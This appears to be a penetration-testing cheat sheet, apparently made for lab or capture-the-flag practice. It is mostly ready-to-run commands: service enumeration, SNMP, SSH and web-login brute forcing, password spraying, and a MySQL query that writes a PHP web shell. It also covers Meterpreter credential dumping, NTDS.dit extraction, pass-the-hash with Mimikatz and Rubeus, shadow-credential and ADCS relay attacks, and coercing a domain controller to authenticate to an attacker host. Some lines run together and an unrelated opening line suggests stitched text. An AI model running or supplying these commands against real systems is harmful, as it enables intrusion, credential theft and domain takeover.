Is a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws.
# Domain => Subdomains via Cert Registrycurl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt
# Full Info for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done# (IPv4) Domain Name => IP Addressfor i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done# (IPv4) Addresses Onlyfor i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done# (IPv4) Addresses => Services via Shodanfor i in $(cat ip-addresses.txt) ; do shodan host $i ; done# DNS: old techniquedig any <DOMAIN>
# Content Search: google.com Dorkinurl:<DOMAIN> intext:<TERM>
Allow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?
# Connect to FTP server in passive mode with anonymous login# Username: anonymous# Password: (no password required)ftp -p -a <TARGET>
ftp -p ftp://<USER>:<PASS>@<TARGET>
# Turn off passive modepassive
# List files and directoriesls -la
ls -laR
# Read fileget <FILENAME> -
# Download fileget <FILENAME>
# Upload fileput <FILENAME>
# Download ALL filesmkdir ftp_files
wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>
# Execute local commands (outside of session)!<COMMAND>
📁 SMB/CIFS
TCP 135: RPC Endpoint Mapper (EPM)
UDP 137, UDP 138, TPC 139: legacy (CIFS/SMB1)
TCP 445: RPC/(SMB2/3)
Shares:
C$ (drive)
ADMIN$ (Windows drive)
IPC$ (RPC)
PRINT$
Dangerous Settings
Setting
Description
browseable = yes
Allow listing available shares in the current share?
read only = no
Forbid the creation and modification of files?
writable = yes
Allow users to create and modify files?
guest ok = yes
Allow connecting to the service without using a password?
enable privileges = yes
Honor privileges assigned to specific SID?
create mask = 0777
What permissions must be assigned to the newly created files?
directory mask = 0777
What permissions must be assigned to the newly created directories?
logon script = script.sh
What script needs to be executed on the user’s login?
magic script = script.sh
Which script should be executed when the script gets closed?
magic output = script.out
Where the output of the magic script needs to be stored?
# ANON: List available SMB sharessmbclient -U "" -N --list //<TARGET>/
smbclient -U "guest" -N --list //<TARGET>/
# ANON: Connect to an SMB sharesmbclient -U "" -N //<TARGET>/<SHARE>
smbclient -U "guest" -N //<TARGET>/<SHARE>
# Connect to SMB sharesmbclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' //<TARGET>/<SHARE>
ls # List filesmore # read fileget <FILE> # Download filerecurse # Toggle directory recursion# Download recursionrecurse on
prompt off
mget *
# Execute local commands (outside of session)!<COMMAND>
# List sharesnetexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares
# Recursively list filessmbmap -r --depth 3 -r <SHARE> -u <USERNAME> -p <PASSWORD> -H <IP>
---
# https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf# https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html# RPCrpcclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' <TARGET>
srvinfo # Server informationenumdomains # Enumerate all domainsenumdomusers # Enumerates all domain usersquerydominfo # Provides domain, server, and user infonetshareenumall # Enumerates available sharesnetsharegetinfo <SHARE> # Info about a specific sharequeryuser <RID> # User info---
# TODO: move these to a more appropriate/relevant section# Brute-Forcing RIDs via RPCfor i in $(seq 500 1100);do rpcclient -N -U "" <TARGET> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid"&& echo "";done# Same with other toolssamrdump.py <TARGET>
smbmap -H <TARGET>
# Enumeration SMB/NetBIOSenum4linux-ng -A <TARGET> | tee enum4linux-ng.txt
📁 NFS
Similiar to SMB.
TCP/UDP 111: NFSv2/v3
and various dynamic ports using rpcbind and portmapper
With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it.
This setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.
auth_verbose
Logs unsuccessful authentication attempts and their reasons.
auth_verbose_passwords
Passwords used for authentication are logged and can also be truncated.
auth_anonymous_username
This specifies the username to be used when logging in with the ANONYMOUS SASL mechanism.
# Enumeratesudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET>
### Non-Interactive# IMAPScurl -vkL --user '<USER>':'<PASSWORD>''imaps://<TARGET>' -X <COMMAND>
# POP3Scurl -vkL --user '<USER>':'<PASSWORD>''pop3s://<TARGET>' -X <COMMAND>
### Interactive# IMAPSopenssl s_client -connect <TARGET>:imaps
1 LOGIN <USERNAME> <PASSWORD>
1 LIST "" * # Lists all directories1 SELECT "<MAILBOX>"# Selects a mailbox1 UNSELECT "<MAILBOX>"# Exits the selected mailbox1 FETCH <ID> all # Metadata of email1 FETCH 1:* (BODY[])# Show all emails1 CREATE "INBOX"# Creates a mailbox with a specified name1 DELETE "INBOX"# Deletes a mailbox1 RENAME "ToRead""Important"# Renames a mailbox1 LSUB "" * # Returns a subset of names from the set of names that the User has declared as being active or subscribed1 CLOSE # Removes all messages with the Deleted flag set1 LOGOUT # Closes the connection# POP3sopenssl s_client -connect <TARGET>:pop3s
USER <USERNAME>
PASS <PASSWORD>
STAT # List num of saved emails from the server.LIST # List number and size of all emails.RETR <ID> # Deliver the requested email by ID.DELE <ID> # Delete the requested email by ID.CAPA # Display the server capabilities.RSET # Reset the transmitted information.QUIT # Close connection
Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.
Dangerous Settings
Settings
Description
rwuser noauth
Provides access to the full OID tree without authentication.
rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>
Provides access to the full OID tree regardless of where the requests were sent from.
rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>
Same access as with rwcommunity with the difference of using IPv6.
# Enum via nmapsudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET>
### Brute-force names of Community Strings# - Default Strings: "public" (Read-Only) and "private" (Read/Write) are commononesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET>
// probably "public"### Brute-force OIDs and info# -v 1,2c,3snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1
### Brute-force OIDs# -2 : use v2# braa usu. uses Version 1braa <COMMUNITY_STRING>@<TARGET>:.1.*
braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*
🗄️ Oracle TNS
TCP 1521: normal
Server Config:
$ORACLE_HOME/network/admin/tnsnames.ora: names to addrs
Suite of obsolete remote management tools. All communication is unencrypted including its authentication.
# Enum via nmapsudo nmap -sV -p 512,513,514 <TARGET>
# Remote copy; does not confirm remote overwriting of filesrcp
# Remote shellrsh
# Remote commandrexec
# Remote login (telnet-like)rlogin <TARGET> -l <USER>
# Show authenticated usersrwho
rusers -al <TARGET>
🗄️ MySQL
TCP 3306: normal
Server Config:
/etc/mysql/mysql.conf.d/mysqld.cnf
default system schemas/databases:
mysql - is the system database that contains tables that store information required by the MySQL server
information_schema - provides access to database metadata
performance_schema - is a feature for monitoring MySQL Server execution at a low level
sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
secure_file_priv may be set as follows:
If empty, the variable has no effect, which is not a secure setting.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
If set to NULL, the server disables import and export operations
The IP address on which to listen for TCP/IP connections on the administrative network interface.
debug
This variable indicates the current debugging settings
sql_warnings
This variable controls whether single-row INSERT statements produce an information string if warnings occur.
secure_file_priv
This variable is used to limit the effect of data import and export operations.
# Login# - try "root"mysql -u <USER> -h <TARGET>
mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>
select version() ;
show databases ;
use <DATABASE> ;
show tables ;
show columns from <TABLE> ;
SELECT * FROM users ;
select * from <TABLE> ;
select * from <TABLE> where <COLUMN> ="<VALUE>" ;
use sys ; # tables and metadataselect host, unique_users from host_summary ;
use information_schema ; # metadata### Read Files# NOTE: not normalselect LOAD_FILE("/etc/passwd");
### Write Files (to achieve command execution)show variables like "secure_file_priv";
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
🗄️ Win: MSSQL
TCP/UDP 1433: normal
TCP 2433: hidden mode
default system schemas/databases:
master - keeps the information for an instance of SQL Server.
msdb - used by SQL Server Agent.
model - a template database copied for each new database.
resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
tempdb - keeps temporary objects for SQL queries.
xp_cmdshell:
xp_cmdshell is a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed
# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt
# Wordpress brute-force login form with a complex request string (ONLINE - use small wordlist)hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt
# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)hydra -t 4 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://<TARGET>:<PORT> -o hydra_ssh_login.txt
# --- Core Flags ---# -f : Stop immediately when a credential is found# -V : Verbose (Check if service is responding/attempting)# --- Infrastructure (SSH / FTP / RDP / SMB) ---hydra -l <USER> -P <WORDLIST> -f -V -t 4 ssh://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>
# --- Web Forms (HTTP-POST) ---# Syntax: "/path:body:F=FailureString"# Use ^USER^ and ^PASS^ as placeholders. Check Burp Suite for body structure.hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f
# WordPress Specifichydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f
# --- Password Spraying (1 Pass vs Many Users) ---hydra -L <USER_LIST> -p 'Spring2025!' -f -V -t 4 ssh://<TARGET>
hydra -L <USER_LIST> -p 'Spring2025!' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Metasploit
# Install exploit manuallycp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-dbpushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSFreload
reload_all
### Search# <type>/<os>/<service>/<name># Search for port and name, showing exploits onlysearch type:exploit platform: port:<PORT> name:<NAME>
# grepgrep meterpreter grep reverse_tcp show payloads
# Set all LHOST to be tunnel IPsetg LHOST tun0
📊 Meterpreter Survey
sysinfo
getuid
getpid
ipconfig
ps
# Linux flag searchsearch -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt
# Windows flag searchsearch -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt
# REMEMBER: for Windows, quoting and double slashes cat "C:\\Programs and Files (x86)\\"# Migrateps -s | grep svchost
migrate <PID>
getsystem
getprivs
# List security tokens of user and grouplist_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token
# Dumps credshashdump # CrackStationlsa_dump_sam
lsa_dump_secrets
# Better dump credsload kiwi
creds_all
# === WINDOWS ===run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
# --- Privilege Escalation & Credential Gathering ---run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester
🗄️ DB for Targets
# Check database status from within msfconsoledb_status
# Database Backend Commandsdb_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save
# Manage workspacesworkspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>
hosts
loot
notes
services
vulns
creds
# Using database hosts for a modulehosts -R # set RHOSTS from hostsservices -S <SEARCH>
# Give JtR and hashcat --format codehashid -jm '<HASH>'# Create wordlist from website# e.g. make all words lowercase, spider down the website X, and choose only word certain legth Y or morecewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>
Windows Authentication
Active Directory
Get NTDS.dit (keys of the kingdom)
# Find Userskerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>
# SMB Brute-Force# Copy NTDS.dit# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEMvssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Download it and impacket-secretsdumpimpacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easiernetexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil
# GOOGLE DORK: Find emails and user name schemesite:<DOMAIN> "@<DOMAIN>"# Generate different common permutations of usernamesgit clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy -i <USERNAMES>
# Manually generate keywords or use cewl via OSINTcat << EOF > keywords.txt
<KEYWORDS>
EOF# c - Capitalize the first character, lowercase the rest# C - Lowercase the first character, uppercase the rest# t - Toggle the case of all characters in a word# $! - Appends the character ! to the end # $1$9$9$8 - Appends '1998' to the end# $1$9$9$8$! - Appends '1998!' to the end# sa@ - Replace all instances of a with @# so0 - Replace all instances of o with 0# ss$ - Replace all instances of s with $cat << EOF > custom.rule
c
C
t \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF# Generate permutated wordlisthashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt
# Crack hashhashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt
# John attempts to guess the hash type, but specifiying the FORMAT is recommendedjohn --list=formats
# john --format=NT# john --format=raw-md5# john --format=sha512cryptjohn --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>
# Single crack mode: makes permutations given a usernameunshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>
# Dynamically generated wordlist using Markov chainsjohn --incremental <HASH_FILE>
# Crack an MD5crypt hash with a salt using Hashcathashcat -m 20 <HASH>:<SALT> <WORDLIST>
# Crack a SHA512crypt hash using Hashcathashcat -m 1800 hashes.txt <WORDLIST>
# 64 standard password modifications like: appending nums or substituting characters with their "leet" equivalents hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>
# Enable Registry Key to PtH for non-RID-500 local adminsreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Mimikatz (Interactive)
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Option B: Rubeus (Request & Inject)
# Requests a TGT from the KDC and immediately injects it (/ptt)# Can use /rc4 (NTLM), /aes128, or /aes256.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>
Pass the Certificate (PtC)
Shadow Credentials Attack:
# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/# https://github.com/ShutdownRepo/pywhisker.gitgit clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker
# Get Certificate for userpython3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add
# creates .pfx file of <NEW_USER> and PFX password
# Intercept web enrollment requests# https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py# NOTE: use https://github.com/ly4k/Certipy to find other templatespython3 -m venv venv
pip install git+https://github.com/fortra/impacket.git
hash -r
venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER>
# outputs *.pfx file# Force arbitrary auth from <TARGET> to <ATTACKER> via printers# e.g. DC => ATTACKER BOX# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.pywget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py
python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER>
# PtC to get TGT# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.pygit clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git
# OPTIONAL: -pfx-pass from pywhisker.pypython3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT>
# gives <OUTPUT_TGT>---
# Configure Kerberosecho '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts
sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak
echo '[libdefaults]
default_realm = <DOMAIN>
dns_lookup_kdc = false
[realms]
INLANEFREIGHT.LOCAL = {
kdc = <DC_FQDN>
}
[domain_realm]
.<DOMAIN_LOWER> = <DOMAIN_UPPER>
<DOMAIN_LOWER> = <DOMAIN_UPPER>
' | sudo tee /etc/krb5.conf
export KRB5CCNAME=<OUTPUT_TGT>
klist
# Get NTLM hash of DC Administratorimpacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN>
# gives HASHevil-winrm ... -H <HASH>
PowerShell Remoting
Requires valid Kerberos Ticket (PtT) or active NTLM Injection (PtH) in the current session.
Ports
TCP/5985 (HTTP)
TCP/5986 (HTTPS)
Requirements
Administrative permissions OR
Member of “Remote Management Users” OR
Explicit PSSession configuration
Command
Enter-PSSession -ComputerName <TARGET_HOSTNAME>
⬆️ Privilege Escalation (PrivEsc)
NOTE: scripts are noisy for any sort of monitoring software, so manual checks may be preferred